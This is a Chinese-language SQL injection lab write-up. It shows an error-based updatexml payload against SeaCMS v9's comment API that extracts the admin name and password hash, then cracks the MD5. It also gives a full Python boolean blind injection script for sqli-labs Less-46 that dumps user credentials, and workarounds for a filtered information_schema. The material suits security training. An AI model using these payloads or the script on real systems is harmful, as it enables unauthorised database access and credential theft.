一、seacmsv9 SQL注入漏洞
1.1 seacms漏洞介紹
海洋影視管理系統(seacms,海洋cms)是一套專為不同需求的站長而設計的視頻點播系統,采
用的是 php5.X+mysql 的架構,seacmsv9漏洞文件:./comment/api/index.php,漏洞參數:$rlist
1.2 漏洞繞過
由于seacms開源,可以知道seacmsv9系統數據庫(mysql)為seacms,存放管理員賬號的表為
sea_admin,表中存放管理員姓名的字段為name,存放管理員密碼的字段為password
經過源碼分析,使用以下語句注入(limit避免管理員有多個,導致SQL語句報錯):
name:
http://localhost/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`
第一次嘗試:
并沒有成功,使用Wireshark抓包發現最終執行的SQL為:
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment?
WHERE m_type=1 AND id in (@`\'`, updatexml(1,concat_ws(0x20,0x5c,(select name from#
sea_admin limit 0,1)),1), @`\'`) ORDER BY id DESC
在mysql數據庫中執行這個SQL語句,并沒有報錯報出管理員姓名
而下面修改為查詢database()卻能報出數據庫名
經過查閱資料,發現是前面sea_comment表沒數據(上圖),導致并沒有執行報錯中的
查詢語句,而database()能執行,應該是優先執行的問題,而sea_comment表中應該是
有數據的,于是就插入了一條數據,但發現還是沒有執行,于是又插入了一條數據,發
現可以執行了
最后,再次在地址欄嘗試注入語句,成功注入出賬號為admin
password:
http://localhost/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @`'`
密碼同理
注入密碼為23a7bbd73250516f069d,可以看出是經過md5加密的,于是到https://cmd5.com/
解密,得到密碼為admin123
自此,?? ?得到管理員賬號為admin,密碼為admin123
二、order by 布爾盲注
2.1 環境介紹
sqlilabs靶場第46關,參數sort傳入id,如下
?
參數sort傳入username,如下
看源碼可知,sort前面是order by,通過sort傳入的字段排序
2.2 布爾盲注
于是用sort=if(表達式,id,username)的方式注入,通過BeautifulSoup爬取表格中username下一格的
值是否等于Dumb來判斷表達式的真假,并使用二分查找加快注入速度,從而實現boolen(布爾)
注入,具體代碼如下
import requests
from bs4 import BeautifulSoupdef get_username(resp):soup = BeautifulSoup(resp,'html.parser')username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].textreturn usernamedef inject_database_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)def inject_table_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)def inject_column_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)def inject_data_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \from users),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)if __name__ == '__main__':# inject_database_boolen()# inject_table_boolen()# inject_column_boolen()inject_data_boolen()
注入結果如下:
三、過濾information_schema解決方案(mysql)
3.1 獲取表名
使用sys庫下的schema_auto_increment_columns表代替,具體如下
select table_name from sys.schema_auto_increment_columns where table_schema=database();
3.2 獲取字段名
使用join關鍵字的子查詢,使用using (字段名1,字段名2,..)逐個過濾已查詢字段,具體如下
select * from (select * from users as a join users as b)c;
select * from (select * from users as a join users as b using (id))c;
select * from (select * from users as a join users as b using (id,username))c;